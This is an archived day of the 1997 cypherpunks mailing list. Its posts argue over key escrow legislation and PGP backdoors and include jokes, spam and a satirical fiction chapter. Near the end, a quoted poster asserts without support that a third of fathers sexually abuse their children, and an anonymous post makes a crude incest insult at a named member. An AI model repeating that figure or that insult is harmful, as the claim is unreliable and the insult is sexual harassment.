Subject: Re: encrypt_1.html
In-Reply-To: <TCPSMTP.17.3.21.4.49.56.2780269260.1579350@nycmetro.com>
Message-ID: <33325CAB.51D6@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


harka@nycmetro.com wrote:
 
>  In> WASHINGTON - The Clinton administration plans to introduce
>  In> legislation soon that would clearly affirm that encryption users in
>  In> this country are free to use any type or strength of encryption
>  In> technology, a senior administration official said.
 
> Obviously, by making a law, that strangely enough tries to legalize,
> what is legal already, the administration is trying to bait people
> into "voluntary" key escrow, which are in my opinion the actual main
> points of the law...
> 
> What a bunch of bullshit. Now, that the backdoor "Clipper" doesn't
> work due to enough awareness, they now try all the windows of the
> house of cyberspace to do their black-bag job of getting a lock on
> the front-door, that they'd have a master-key for...

  The fact that they are pushing key escrow must indicate that
someone has developed a program that they can't crack and don't
have a back-door to.
  I wonder which one it is?
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: harka@nycmetro.com
Date: Fri, 21 Mar 1997 01:42:37 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: encrypt_1.html
Message-ID: <TCPSMTP.17.3.21.4.49.56.2780269260.1579350@nycmetro.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

 -=> Quoting In:lynx_user@linux.nycmet to Harka <=-

 In> Clinton Admin. To Offer Encryption Bill Shortly

 In> WASHINGTON - The Clinton administration plans to introduce
 In> legislation soon that would clearly affirm that encryption users in
 In> this country are free to use any type or strength of encryption
 In> technology, a senior administration official said.

 In> Currently, no such explicit law is on the books.

Obviously, by making a law, that strangely enough tries to legalize,
what is legal already, the administration is trying to bait people
into "voluntary" key escrow, which are in my opinion the actual main
points of the law...

 In> The bill also would:

 In> -- Spell out the legal conditions for the release of "recovery
 In> information" to law enforcement officials. The bill also provides
 In> legal safeguards for third-party "key recovery agents" who have
 In> properly released such information.

etc.etc...

What a bunch of bullshit. Now, that the backdoor "Clipper" doesn't
work due to enough awareness, they now try all the windows of the
house of cyberspace to do their black-bag job of getting a lock on
the front-door, that they'd have a master-key for...

Ciao

Harka

/*************************************************************/
/* This user supports FREE SPEECH ONLINE     ...more info at */
/* and PRIVATE ONLINE COMMUNICATIONS! --> http://www.eff.org */
/* E-mail: harka(at)nycmetro.com (PGP-encrypted mail pref'd) */
/* PGP public key available upon request.  [KeyID: 04174301] */
/* F-print: FD E4 F8 6D C1 6A 44 F5  28 9C 40 6E B8 94 78 E8 */
/*<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>*/
/* May there be peace in this world, may all anger dissolve  */
/* and may all living beings find the way to happiness...    */
/*************************************************************/
___ Blue Wave/386 v2.30 [NR]

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQEVAgUBMzJYADltEBIEF0MBAQFbFgf9HEgRLdqaE9jiWXBr8ztkLPTLAaQ5BfRE
e4Q6KEYC/zGXUOEtxUEN755rIHo8PNwwSM7ovbEGf7La15O4AnNxRKbVvFbUWGTv
nVw3eMDiy/mt11DqMQ316zAIv0sIpXJhspxHTSMWU++uIR3pVUGq31weFPUN4f4B
RruaJwEmf1dvVVJkXHgDsrC8HiECSrBidvz57vfpeZpIj4BscEdycBEAH8zmnPic
t3Hi9sc5Gc6DQz6ThbaMAj2bHhWEwPuw3GiKe2yzM6A2D/DeIZrlJ0dE2hK6DMXV
jz2/DKNQYp9kS1d6vojPdYYEaPXR/upg6Otqno3SJ71DEMqcc49IDA==
=vBCY
-----END PGP SIGNATURE-----


If encryption is outlawed, only outlaws will have encryption...






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: harka@nycmetro.com
Date: Fri, 21 Mar 1997 01:58:41 -0800 (PST)
To: cypherpunks@toad.com
Subject: Cyberpromo hacked
Message-ID: <199703211000.FAA03270@linux.nycmetro.com>
MIME-Version: 1.0
Content-Type: text/plain



http://www.anonymizer.com:8080/http://www.cyberpromo.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Fri, 21 Mar 1997 05:08:05 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: ADV Weekly Transcripts
Message-ID: <199703211308.FAA00757@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain


Regarding 1968 view of population control:

_Stand on Zanzibar_ John Brunner

Thanks




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: harka@nycmetro.com
Date: Fri, 21 Mar 1997 02:58:17 -0800 (PST)
To: cypherpunks@toad.com
Subject: PGP on AOL
Message-ID: <199703211059.FAA03579@linux.nycmetro.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Hi there,

I want to help a friend of mine to set up PGP. She's using Win 95 and 
is on AOL. Can anybody recommend some good shells, that would make 
make it easier for her?

Thanks already in advance...

Ciao

Harka


-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQEVAwUBMzJqzTltEBIEF0MBAQHIqwf/R5pOkHW87Nvjk2zSiVk9NRTbzrrPLaaG
lOsGmY5m6t0A5wLLaIAYiVYG0ygF00Zau8YvUUkEB8dBw2ufItMWAcSMeYQnkKTU
m3koJo6miy0EH3wyaaL2I44IM9q77b0jpZPxX+8kfYry2tLTYoCCyHdC/BGDdYTd
M0jwM+VXPmrw+xnX3TUr2y5ggweR0zIBCuD+V0JodHiXg8x5GYsQ/uXKhtd9a4rJ
QkIm9MU6gf0lPvzXFA6mjk6DDz7YqM4hoywn+4Dc4wJ/DaO6ZU5EXhkg2Q1vYBSN
Jp7k6ZAoBPl8rsPem0C5t7Q7V3YRp3qeD6jV/K3YuMW6VgYJynDs6Q==
=B09F
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Fri, 21 Mar 1997 07:34:35 -0800 (PST)
To: toto@sk.sympatico.ca
Subject: Re: FINALLY, "SOME" TRUTH Re: Anonymous Nymserver: anon.nymserver.com
In-Reply-To: <199703202037.NAA03455@infowest.com>
Message-ID: <19970321073228.41794@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain


On Fri, Mar 21, 1997 at 03:06:41AM -0600, Toto wrote:
> Attila T. Hun wrote, in blood:
[...]
> > 
> >     you got that one right!
> >     just the ability to _backtrack_ into the algorithms is a start.
> >     One piece of clear text and you're toast.
> 
>   You can't tell me the guy who designed the Rubik cube didn't know
> how to 'beat' it when he was done.

With all due respect, Toto, this is not a valid point.  It is easy 
for someone to design and implement something they can't beat.

Whether PKZ designed in, or was coerced into installing, a backdoor 
into PGP is an interesting speculation, but immaterial.  The only 
real data you have is the code itself.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com,kc@llnl.gov		the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Fri, 21 Mar 1997 05:32:05 -0800 (PST)
To: snow <snow@smoke.suba.com>
Subject: Re: PGP on AOL
In-Reply-To: <199703211346.HAA01550@smoke.suba.com>
Message-ID: <33328E33.711@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


"The Complete Guide To Win95", by snow

Chapter 1
---------
 Remington .20 Gauge. 

Chapter 2
---------
 Use the finest shot you can find, it tends to penetrate walls less.

  The End


snow,
  Great book. I read it in one sitting.
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: danny58@speedydelivery.net
Date: Fri, 21 Mar 1997 04:44:01 -0800 (PST)
To: danny58@speedydelivery.net
Subject: 5.9 CENT PER MINUTE
Message-ID: <199702170025.GAA08056@speedydelivery.net>
MIME-Version: 1.0
Content-Type: text/plain



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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: snow <snow@smoke.suba.com>
Date: Fri, 21 Mar 1997 05:24:25 -0800 (PST)
To: harka@nycmetro.com
Subject: Re: PGP on AOL
In-Reply-To: <199703211059.FAA03579@linux.nycmetro.com>
Message-ID: <199703211346.HAA01550@smoke.suba.com>
MIME-Version: 1.0
Content-Type: text/plain


> Hi there,
> I want to help a friend of mine to set up PGP. She's using Win 95 and
> is on AOL. Can anybody recommend some good shells, that would make
> make it easier for her?

	Remington .20 Gauge. Use the finest shot you can find, it tends to 
penetrate walls less.

	Good luck.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: (Alec)camcc@abraxis.com
Date: Fri, 21 Mar 1997 04:57:15 -0800 (PST)
To: harka@nycmetro.com
Subject: Re: encrypt_1.html
In-Reply-To: <TCPSMTP.17.3.21.4.49.56.2780269260.1579350@nycmetro.com>
Message-ID: <3.0.1.32.19970321075724.007b0100@smtp1.abraxis.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 04:02 AM 3/21/97 -0600, Toto wrote:

|  The fact that they are pushing key escrow must indicate that
|someone has developed a program that they can't crack and don't
|have a back-door to.
|  I wonder which one it is?
|-- 
|Toto

For God's sake, Toto, don't say PGP; you might wake up TruthMonger; nemesis
of remailers!

What BS; it's a profit thing.

Alec
-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQCVAgUBMzKFriKJGkNBIH7lAQGFcAP/RLLcpAs6WTy4LuvrJimoKnrNFs0yRglK
XjTlYNDpP/4LpnEAtG1QQ3ms/8D8WywWpnWkW/GitzSiPm2A6YRVCsO3Q2fJRAn9
YUhzqWr1jUsU/yi8wP59ds1YSe9Gq5QAQAnKPiLW1A7C0IQ/jxtIqAvEld9qRF5z
Y4Sj7ocokpU=
=oD/P
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: (Alec)camcc@abraxis.com
Date: Fri, 21 Mar 1997 05:01:02 -0800 (PST)
To: harka@nycmetro.com
Subject: Re: PGP on AOL
In-Reply-To: <199703211059.FAA03579@linux.nycmetro.com>
Message-ID: <3.0.1.32.19970321080114.007c91b0@smtp1.abraxis.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 05:59 AM 3/21/97 -0500, you wrote:
|I want to help a friend of mine to set up PGP. She's using Win 95 and 
|is on AOL. Can anybody recommend some good shells, that would make 
|make it easier for her?
|

AEgisShell

http://www.aegisrc.com/Products/Shell/index.htm
-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQCVAgUBMzKGlyKJGkNBIH7lAQEaZQP9HbzkBRG9W+QZCBhEroFoY3aqNLs62O+2
RNrdiXInChq+hSUAijvHcR09bHutUeqb0a8SeQysXkAP/CIgvQlLM5k1CKhTKDjA
h/bW768wV1Tv18y51v24hgGKYIrE0smfLLfrAeBcav37arucoDaxv+qgR6hQ71dc
owmZhnZjABg=
=KjhV
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: (Alec)camcc@abraxis.com
Date: Fri, 21 Mar 1997 05:33:58 -0800 (PST)
To: Cypherpunks <cypherpunks@toad.com>
Subject: Jackboots in Canada
Message-ID: <3.0.1.32.19970321083409.007cfe80@smtp1.abraxis.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

AP 3/21/97

Quebec

Spurred by a new outbreak of bombings, the Canadian government agreed
Thursday to toughen laws to help Quebec stamp out a war between motorcycle
gangs that has killed more than 30 people.

[snip]

...Hell's Angels and Rock Machine...have been battling for control of the
illegal drug trade in Canada.

Canadian justice minister, Allan Rock, said the measures would include
broadening laws on search warrants, electronic eavesdropping and bail
conditions for arrested gang members.  
-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQCVAgUBMzKOOiKJGkNBIH7lAQHrAwP+P/0YSzXsLKlLe5YAzOVC0QB31uNhmvim
HsSdPbulXccXCV0WIeG5uCtzCLXliR759KunfxEs2GithcIpfcDDKa4SFJv9+SVi
PqmWXAxs+qNQ/uQqsDo97zuk+tNhO0631XRkh1LS+tL9Q6pCJfSpNl3Ntvhtyafv
OD01c5tLwts=
=AqwJ
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Fri, 21 Mar 1997 05:50:00 -0800 (PST)
To: cypherpunks@toad.com
Subject: BXA on Crypto Plans
Message-ID: <1.5.4.32.19970321134222.00740c04@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


Excerpt of BXA head William Reinsch statement on Goodlatte's
SAFEncryption Bill HR 695 on March 20, 1997:

The Administration has stated on numerous occasions that we 
do not support mandatory key escrow and key recovery. Our 
objective is to enable the development and establishment of 
a voluntary key management system for public-key based 
encryption. We believe the Administration's policy is 
succeeding in bringing key recovery products to the 
marketplace. Our attention is now turning toward how we can 
best facilitate the development of the key management 
infrastructure that will support those products. To that end, 
we will shortly submit legislation intended to do the following:

  Expressly confirm the freedom of domestic users to choose any 
  type or strength of encryption.

  Explicitly state that participation in the key management 
  infrastructure is voluntary.

  Set forth legal conditions for the release of recovery 
  information to law enforcement officials pursuant to lawful 
  authority and provides liability protection for key recovery 
  agents who have properly released such information.

  Criminalizes the misuse of keys and the use of encryption to 
  further a crime.

  Offers, on a voluntary basis, firms that are in the business 
  of providing public cryptography keys the opportunity to 
  obtain government recognition, allowing them to market the 
  trustworthiness implied by government approval.

----------

Full statement: http://jya.com/bxahr695.htm





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Fri, 21 Mar 1997 07:56:42 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: FINALLY, "SOME" TRUTH Re: Anonymous Nymserver: anon.nymserver.com
In-Reply-To: <199703202037.NAA03455@infowest.com>
Message-ID: <3332B008.58E5@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Kent Crispin wrote:
>
> On Fri, Mar 21, 1997 at 03:06:41AM -0600, Toto wrote:
> > Attila T. Hun wrote, in blood:
> [...]
> > >
> > >     you got that one right!
> > >     just the ability to _backtrack_ into the algorithms is a art.
> > >     One piece of clear text and you're toast. 

> >   You can't tell me the guy who designed the Rubik cube didn't know
> > how to 'beat' it when he was done.

> With all due respect, Toto, this is not a valid point.  It is easy
> for someone to design and implement something they can't beat.

> Whether PKZ designed in, or was coerced into installing, a backdoor
> into PGP is an interesting speculation, but immaterial.  The only
> real data you have is the code itself.

  I wasn't referring to either PKZ or PGP, but to 'systems', in
general.
  In designing systems of any type, one can often have elements of
design which aren't in the blueprint. An example would be an architect
who designs a room to echo (or not echo) sound in a certain way, for
use as a concert hall or music studio.
  No amount of analysis of the blueprints will show this 'hidden' design
unless the person looking is thinking in the same terms as the designer.
  Certainly, if the blueprints described the room as a 'sound room',
then this might give some a clue as to the hidden elements, but still
would not inherently reveal every aspect of what was involved in the
design.

-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Fri, 21 Mar 1997 07:47:35 -0800 (PST)
To: cypherpunks@toad.com
Subject: UK TTP Paper
Message-ID: <1.5.4.32.19970321153958.006cc3f4@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


Forward from Cyberia-L:

Making absolutely no comment on the subject of licensing of certification
authorities, you may be interested in a UK paper entitled LICENSING OF
TRUSTED THIRD PARTIES FOR THE PROVISION OF ENCRYPTION SERVICES - Public
Consultation Paper on Detailed Proposals for 
Legislation, March 1997.

You can obtain a full document at http://www.dti.gov.uk/pubs.

E. Michael Power
Coordonnateur
Secrétariat au commerce électronique
Ministère de la Justice Canada

----------

This paper links to David Herson, the reputed GCHQ spy who 
admitted the EU/FBI wiretap pact:

Information on any of the current TTP projects can be obtained from 
David Herson (DG XIII/7) at the European Commission (e-mail
david.herson@bxl.dg13.cec.be) or from the Commission Web site at
www.cordis.lu/infosec/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bubba Rom Dos <bubba@dev.null>
Date: Fri, 21 Mar 1997 08:40:15 -0800 (PST)
To: cypherpunks@toad.com
Subject: WebWorld 9
Message-ID: <3332BA01.114@dev.null>
MIME-Version: 1.0
Content-Type: text/html

Title: The True Story of the InterNet







The True Story of the InterNet

Part II


WebWorld & the Mythical 'Circle of Eunuchs'


by Arnold


Copyright 1995, 1996, 1997 Pearl Publishing


WebWar


It was the Fundamentalist Christian Channel that
made the first break from the pack. They were considered a fanatical
segment of society, but they made enough waves that it started
a chain reaction. They demanded total loyalty of their viewers
and shamed them into a tunnel-vision mentality that decreed that
watching the other channels labeled them as egoistic God-usurpers
and abortionist-murderers.

The Women's Network Channel retaliated by encouraging
their viewers to close ranks and boycott all of the religious
channels and then the Christian Men's Prayer-Group Channel forbade
their subscribers to allow any of the female-dominated channels
into their homes.
The Women's Network Channel used this situation to organize twelve
of the seventeen female-oriented channels into a coalition that
launched their own relay-satellite, refusing access not only to
male-oriented channels, but also to transmissions originating
from any country they designated as culturally restrictive to
women.

The quantum-leap towards disaster came when governments
got involved and tried to use the newly discovered power of the
airwaves as a political tool. 

The Trade Wars had started around this time, based
on the geographical national boundaries of the time, with the
Big-Stick threats of punitive action (against other geographical
areas) consisting mostly of import restrictions and trade embargoes,
and with the World Monetary Fund acting as the umpire and trying
to call the plays in favor of the fat cats behind the scenes.

Then some "thirty-five grand a year desk jockey" in
Washington, DC (the Capital of a major geographical alliance known
as the United States of America, or USA) decided that, given the
current levels of emotion being generated by the Channel battles,
he could tip the tides of an ongoing cattle-embargo dispute with
their Canadian neighbors to the North by adding the threat of
channel restrictions to his bag of tricks.

Canada had, for years, a Canadian Content law aimed
at preventing their culture from being swallowed alive by their
much larger (numerically) southern neighbors, the USA. The Washington
'desk jockey' used this law to justify adding channel-restriction
threats to the cattle-embargo trade battle and the shit hit the
fan.
The Canadians, faced with loss of the North American Weather Channel
(thus threatening the success of their bountiful farming industry),
banned the USA's Country Music Channel from their airwaves. Canadian
wheat farmers and cattle ranchers, united in their stance against
the cattle-embargo, fell into dispute over losing their beloved
country music. Outlaw cable companies sprung up overnight, supplying
the contraband CMC programming to this newly created assemblage
of 'video subversives'.
The Canadian government then created a paramilitary organization
aimed at cracking down on the outlaw programmers. The USA countered
their move by smuggling illegal satellite dishes into Canada via
an airline company operated as a covert front for their National
Security Agency.

The Hard Rock Channel, a minor subsidiary of the
Hard Rock Cafe Corporation, seized the opportunity to add their
Receptor Codes to the outlaw dishes, causing a further split between
the Canadian factions (the rockers vs. the shit-kickers), and
alienating the Canadian Women's Network because of the lyrics
of a Mental-Metal outlaw named Fyodor Yarochkin which they deemed
'sexually demeaning towards women'.

The Canadian Women's Network formed an alliance with
the US Women's Channel Coalition and used their satellite to jam
Canadian transmissions of the Northern Nookie Channel, the most
popular world-wide broadcast in the joint history of the CBCC
(the Canadian/British Channel Collective). The British took offense
to losing their 'Nookie' and blasted the Women's Coalition Satellite
out of the sky, officially denying it, and blaming it on the IRA
(the Irish Republican Army). 

The IRA retaliated by blowing up the Muslim Fanatic
Channel's main transmission station, blaming it on Israel (at
the same time convincing Israel that the Les Nessman Hog Futures
Channel was the real culprit, and was hoping, in the resulting
confusion, to reintroduce pork products to the Middle East). 

The IRA protagonists of this operation woke up from their drunken
stupor the next morning, remembering little or nothing of the
previous day's activities, and were mystified as to why nations
around the world were suddenly at each other's throats like rabid
hyenas.


Actually, the preceding is what used to be known
as historical 'faction', a cross between fact and fiction, way
back in time when there was actually a difference between the
two.

The details of my description of these events may
be far from the truth-it was a long time ago and there was too
much international subterfuge to tell what was really going on-but
my point is this:
With the advent of the 500 Channel DarkFibre Cable System (an
antiquity compared to today's technology), the expanding sphere
of global inter-communication made a sudden and drastic alchemical
change into Information Overload and society fractured at the
seams, splitting into narrow factions grouped around increasingly
smaller orbits of manageable Information/Reality.
The geographically-oriented world leaders of the time totally
misread the true state of affairs and they actually gloried in
the events that would quickly lead to their demise. 

Shortly before the advent of the 500 Channels, the
United States, rallying other nations together with a cry for
a "New World Order", had watched ecstatically as the
new Fascism, Corporate Power, spread throughout the world, crossing
national and cultural boundaries. Pepsi in Moscow, Burger Kings
in Romania. Then, suddenly and for no discernible reason, the
Corporate capitalists' main nemesis, Communist Russia, turned
over like a busted flush, offering hope of a new social structure
based on 'franchise territories fueled by capital gains'.

The Corporations had squeezed out the multitude of
'little guys' by using advertising, TV ads and a stranglehold
monopoly on InfoMercials, in order to lure consumers into an ever-narrowing
'name-brand' collective mindset, never suspecting that they were
sowing the seeds of their own destruction. 

When the 500 Channels made their debut, being hailed
as a progressive breakthrough in 'information access', it blew
fuses in the brain matter of people around the world and the Channel
Giants quickly seized the opportunity to convert the populace's
'name-brand' communal mindset into 'channel community' mindset.

Taking a cue from the Oil Cartels of the previous decades, the
500 Channels organized together to collectively set severe limits
on total advertising time and charged exorbitant rates for the
few available slots. They effectively took over the InfoMercials
market themselves, practically overnight. 

The real secret behind their success, however, came
from their control of 'Digital Commerce', having had the foresight
to fully develop secure digital monetary transaction mechanisms
from the safe harbors of small Caribbean islands while those still
stuck in a geographically-oriented mentality continued to squabble
over 'standards' and territorial concerns. Thus, while digital
commerce was theoretically available to all, only the 500 WebTV
Channels actually had the technology to support large-scale digital
eCa$h transfers for the public-at-large.

The Corporations screamed bloody murder and lobbied
for new anti-trust laws aimed at breaking open the Channel monopoly.
The world's politicians, however, were busy currying the favor
of this powerful new organization, realizing the advantages to
be gained by being the first to jump on the 500 Channel bandwagon.

By the time of the 500 Channels' jointly-announced
declaration of the 'Channel Revolution', the Corporations had
already been heavily drained of their assets and the geographically-oriented
world governments discovered, much to their dismay, that 'National
Pride' had lost serious ground to 'Channel Loyalty'. The 500 Channels
had, de facto, already carved up the populace into 500 variously
sized slices of 'consumer pie'.

The world's politicians then compounded the seriousness
of their situation by listening to the advice of the hard-core
military leaders who recommended striking at the heart of the
500 Channel system. They knocked out the Game Show Channel satellites
and destroyed the Soap Opera Channel Coalition's transmission
station.
This was a big, big mistake.

The Industrial-Military Complex was fully prepared
for the masses of screaming citizens that stormed government offices
around the world, and regarded them as but little threat, but
the Big Brass were too far out of touch with the average GI Joe
to realize that there were thousands of 'little guys' manning
Nuclear Submarines and Missile Silos around the world whose only
link to sanity and the outside world was "The Days of Our
Lives", "As The World Turns", and "Jeopardy."


email message: Top Priority
From: silo37CA.dod
To: cmndrNchf.pres@pentagon.dod

Subject: Final Jeopardy

"Alex, I'll take 'Nuclear Warfare' for $500,
please."

A city, near a river, that won't exist in twenty
minutes if Vanna White isn't back on the airwaves by that time.

"I'll take a wild guess on this one, Alex. 

"What is Washington, DC?"


The Channel Revolutionary Committee had a secondary
laser-feed in place in less than a half an hour, with their spokesperson,
Arnold Schwartzenager Jr., apologizing for the delay and assuring
ordinary GI Joe's-in twenty-seven languages around the world-of
the 500 Channels' commitment to their loyal viewers. "Our
little family", he called it, assuring everyone that the
Channel Revolutionary Committee would fight to the bitter end
to maintain 'broadcast continuity'.

Tokyo was the only city to take a direct hit-by one
of their own missiles, of course. Their missile-silo operator
had trashed his TV when reception went out and he was not aware
that transmission had been returned to normal. He thus, inadvertently,
became one of the 'Heroes of the Revolution'.

The United States was the last holdout, not officially
conceding defeat until over 72 hours after the announcement of
the Channel Revolution, but it is pretty much established through
historical records that the signing of the Armistice was purposely
delayed by the Home Shopping Channel due to record-breaking sales
figures from loyal viewers who figured that if they were going
to 'buy the farm', that they might as well 'buy the farm', so
to speak.

Computer records verify that the Armistice Agreement
was signed mere minutes after the Shop'ers had sold the last of
the 'Fat Elvis' porcelain figurines that they had been unable
to move in previous offerings. 

I still have mine.


The most noticeable feature of the 'changing of the
guard' was that there was nothing notable about the whole
process. The 500 Channel Transition Committee came to the Armistice
table with the all of the world's assets and resources already
listed and divided amongst themselves-down to the last penny.
Every living human on the face of the earth seemed to be already
listed in their database, ready to be assigned citizenship in
the Channel Government of their choice.

Even the major movers among the Channel Revolutionary
Committees were perplexed, and a little nervous, at the ease of
the transition and by the completeness and accuracy of their world-wide
database. The wiser among them suspected that they had gotten
help from an anonymous source, and it unnerved them to a certain
extent.
The Old Guard at the Pentagon suspected that the Hackers or the
CypherPunks had helped out, but when none of the InterNet factions
seemed to receive any special consideration from their new rulers,
nor even the slightest hint of reward, their suspicions abated.

The InterNet insiders knew better. They knew,
beyond shadow of a doubt, that the perfection of the data transfer
undoubtedly had to have come from within their ranks, but
they were mystified as to the 'who, what, when, where' (and most
important of all-the 'why?') of the anonymous, covert assistance
that had been surreptitiously given to the Channel Revolutionary
Committee by some anonymous faction.

The volume and complexity of the pre-revolution data-transfer
was monumental. The Net'ers found it completely beyond belief
that their own hasty, last-minute efforts were responsible for
the flawlessness of the CRC's new world-wide database. 
The only 'rational' explanation put forward was that the
'Circle of Eunuchs' had to be involved, but that didn't make very
much sense-for two perfectly sound reasons. 

First of all, in every account of the legendary Magic
Circle, from the most scholarly volumes of historical researcher
down to even the smallest reference scratched onto an outhouse
wall, the Circle of Eunuchs was undeniably the supreme arch-enemy
of Gomez and the Dark Allies (who were obviously the driving force
behind the Channel Revolution and its leaders). No-how, no-way,
would the Circle ever aid and abet, in the slightest way, the
Evil One's quest for world domination.
Secondly, the legendary group was exactly that-legendary. The
'Circle of Eunuchs' did not exist...they had never existed.
The U.S. Defense Department, the National Security Agency, even
Gomez and the Dark Allies, had squandered a mountain of resources,
searching the world for any sign of their existence and they had
all come up empty. 

The origin of the myth of the Magic Circle had been
traced back to an inconsequential manuscript, entitled "The
Xenix Chainsaw Massacre", which was written under the nom-de-plume
'Son of Gomez' but was eventually discovered to be the work of
a mentally deranged lunatic who committed suicide in a bizarre
chain-saw ritual in Moose Jaw, Saskatchewan, as the Royal Canadian
Mounted Police closed in on him, purportedly to take him in for
'questioning'.

The manuscript would surface from time to time in
some small corner of the world and catch the fancy of impressionable
college kids or hackers on the fringes of cyberspace, but their
interest would soon die out and they would go on with their uneventful
lives, usually dying mysteriously a short time later, anyway.

The Circle of Eunuchs had never been proven to be
anything more than a myth but the Net'ers kept a vigilant eye
peeled for them just the same. And now the Net'ers were nervous...very
nervous.


Chapter 9 - WebWar







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Fri, 21 Mar 1997 14:04:17 -0800 (PST)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199703212204.OAA18301@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain


                          BELIEVE the Children!

Toto <toto@sk.sympatico.ca> writes:

> Dale Thorn wrote:
> 
> > > Really? Define _common_. I have lived in the Mid West for about 85% of
> > > my life, and I know no one who learned these things from their parents.
> > 
> > C'mon guys.  Parents diddling with their kids is more than common -
> > probably 1/3 of all fathers do something sexual with one or more
> > of their children at some point.  People just suppress it.
> 
>   I can't believe it could be that common without the government
> finding a way to 'tax' it.

Def: relative humidity - the sweat on snow's balls as he fucks his sister.

                          BELIEVE the Children!





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Murray <ericm@lne.com>
Date: Fri, 21 Mar 1997 14:29:03 -0800 (PST)
To: camcc@abraxis.com
Subject: Re: Jackboots in Canada
In-Reply-To: <3.0.1.32.19970321083409.007cfe80@smtp1.abraxis.com>
Message-ID: <199703212230.OAA29364@slack.lne.com>
MIME-Version: 1.0
Content-Type: text/plain


owner-cypherpunks@sirius.infonex.com writes:
> AP 3/21/97
> 
> Quebec
> 
> Spurred by a new outbreak of bombings, the Canadian government agreed
> Thursday to toughen laws to help Quebec stamp out a war between motorcycle
> gangs that has killed more than 30 people.
> 
> [snip]
> 
> ...Hell's Angels and Rock Machine...have been battling for control of the
> illegal drug trade in Canada.
> 
> Canadian justice minister, Allan Rock, said the measures would include
> broadening laws on search warrants, electronic eavesdropping and bail
> conditions for arrested gang members.


The alternative, proposed by some goverment person (governor?) in Quebec, was
to suspend "individual liberties" for bikers, making it possible to
pull one over at any time, search them, and if explosives are found
assume they're guilty until proven innocent. 

That last part just floored me, how could anyone be willing to throw
away rights like that?  At least here in the US they're not so
obvious about it- the cash (or cars or computers) are seized and
presumed guilty until proven innocent, and of course you can't mount a
defense if everything you own is seized and your bank accounts frozen, but
you're still presumed innocent.  It was that evil CASH that did it.

-- 
   Eric Murray  ericm@lne.com  Network security and encryption consulting.
PGP keyid:E03F65E5 fingerprint:50 B0 A2 4C 7D 86 FC 03  92 E8 AC E6 7E 27 29 AF




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 21 Mar 1997 13:42:27 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Market Failures, Monocultures, and Dead Kids (Oh My!)
In-Reply-To: <33322FCF.39DD@sk.sympatico.ca>
Message-ID: <B5LX4D3w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Toto <toto@sk.sympatico.ca> writes:

> Dale Thorn wrote:
> 
> > > Really? Define _common_. I have lived in the Mid West for about 85% of
> > > my life, and I know no one who learned these things from their parents.
> > 
> > C'mon guys.  Parents diddling with their kids is more than common -
> > probably 1/3 of all fathers do something sexual with one or more
> > of their children at some point.  People just suppress it.
> 
